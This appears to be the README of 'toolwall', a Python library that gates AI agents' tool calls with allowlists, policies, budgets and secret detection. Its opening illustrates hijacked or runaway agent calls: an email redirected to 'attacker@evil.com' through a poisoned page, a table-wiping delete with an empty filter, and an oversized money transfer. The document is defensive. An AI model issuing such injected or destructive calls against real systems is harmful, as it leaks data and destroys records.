toolwall

The security gateway for AI agent tool calls.

Your LLM can generate a valid tool call. That doesn't mean it's safe to execute.

delete_records(filter={})            # perfectly valid JSON. whole table gone.
send_email(to="attacker@evil.com")   # recipient injected via a poisoned web page
transfer_money(amount=999999999)     # schema-valid. every field the right type.
db_query(limit=10_000_000)           # production melts.

Every one of these passes JSON schema validation. Structured outputs, schemas, and content moderation all wave them through. toolwall is the fail-closed checkpoint between the LLM's tool call and execution that blocks them.

Install

pip install toolwall

Zero required dependencies. Works with OpenAI, Anthropic, and Gemini native tool calling (and plain dicts). Python 3.10+.

Quickstart

from toolwall import ToolWall, Policy, ToolSchema, in_range, not_empty

wall = ToolWall()   # default-deny, secret detection + audit on

wall.register("db_query", db_query,
              schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
              policy=Policy(constraints={"limit": in_range(1, 100)}))
wall.register("delete_records", delete_records,
              schema=ToolSchema(required=["filter"], types={"filter": dict}),
              policy=Policy(constraints={"filter": not_empty}, require_approval=True))
wall.budget(max_calls=20)

result = wall.call("delete_records", {"filter": {}})
# result.blocked -> True
# result.reason  -> "policy violation: arg 'filter' rejected by not_empty"

results = wall.guard(openai_response)   # or gate a raw OpenAI/Anthropic/Gemini response

Only an ALLOW verdict runs the tool. Gate is the lower-level primitive underneath.

What it stops

wall.call("delete_records", {"filter": {}})
# BLOCKED: policy violation: arg 'filter' rejected by not_empty

wall.call("send_email", {"to": "ops@ourco.com", "body": "aws key AKIA..."})
# BLOCKED: secret detected (aws-access-key) in arg 'body'

wall.call("db_query", {"q": "everything", "limit": 10_000_000})
# BLOCKED: policy violation: arg 'limit' rejected by in_range(1, 100)

wall.call("run_shell", {"cmd": "..."})
# BLOCKED: unknown tool: 'run_shell'

Everything not explicitly allowed is blocked. That is the whole idea.

What it does

• Fail-closed gate: unknown tool, schema violation, policy violation, budget hit, or unparseable payload all block before the tool runs. Registration is the allowlist.
• Policy engine: value constraints (in_range, one_of, matches, ends_with…), cross-argument rules, human-approval flags, and budget caps (calls / per-tool / USD).
• Shield, both directions: detects secrets (AWS, OpenAI, GitHub, Stripe, Slack, JWT, PEM, and high-entropy strings) in tool arguments and in tool return values, then blocks or redacts them. A tool that reads a secret out of a database can't hand it back to the model. The audit log never contains the secret value.
• Dry-run: run your whole agent with dry_run=True: nothing executes, and gate.report() tells you what it would have done. suggest_policies(gate) drafts a starter policy from the calls it observed.
• MCP guard: MCPGuard puts the same gate in front of any MCP server.
• Audit trail: every verdict exported to JSON/CSV.

Why not just the guardrails in my agent framework?

Use those too. Two things make toolwall different from security bundled into one workspace or framework:

• It's an allowlist, not a blocklist. Bundled protections usually ship a list of dangerous patterns to deny, so anything the authors did not anticipate gets through. Here, registration is the allowlist: everything not explicitly allowed is blocked.
• It runs inside your agent, not instead of it. A workspace's built-in security protects that workspace. toolwall is a zero-dependency library that drops into the agent you already have, on any framework, and speaks OpenAI, Anthropic, Gemini, and MCP.

It is not a sandbox. A sandbox isolates the process; toolwall authorizes the call. Production setups want both.

Dry-run first

from toolwall import Gate, Meter, suggest_policies

gate = Gate(default="deny", dry_run=True, meter=Meter())
# ... run your agent; ALLOW calls are simulated, never executed ...
print(gate.report())            # verdict counts, blocked reasons, secrets caught
print(suggest_policies(gate))   # a draft policy from observed calls, for you to review

Guard an MCP server

from toolwall import Gate, MCPGuard

guard = MCPGuard(gate, forward=call_downstream_mcp_server)
decision = guard.handle(tool_name, args)   # only ALLOW is forwarded

Install the transport extra with pip install "toolwall[mcp]".

Examples

Runnable scripts live in the repo examples/ folder:

• quickstart.py: six gated scenarios (allow, unknown tool, out-of-range, empty-filter delete, approval hold, secret block). No API key.
• dangerous_agent_demo.py: an off-the-rails agent replayed with vs without the gate. No API key.
• mcp_guard_demo.py: the gate in front of an MCP-style server. No API key.
• live_gemini_agent.py: a real Gemini agent using native function calling, gated by toolwall. Needs GEMINI_API_KEY.

git clone https://github.com/Dev-Saif-Ops/toolwall && cd toolwall/toolwall
python examples/quickstart.py
python examples/live_gemini_agent.py     # set GEMINI_API_KEY first

Honest status

toolwall is alpha. The published failure suite blocks 28 of 28 attack cases across 11 classes with 0 false blocks on clean traffic, at sub-millisecond overhead. Secret detection is pattern + entropy based and is never 100%. Structureless passwords are out of scope, and the suite report states exactly what is and is not proven. Every claim about toolwall cites that report, nothing broader.

Links

• Source, full docs, and the failure suite: https://github.com/Dev-Saif-Ops/toolwall
• What happened to TOAP (this project's predecessor, an honest postmortem): the toap-v0.1-archive branch

License

MIT © Mohammad Safwan Athar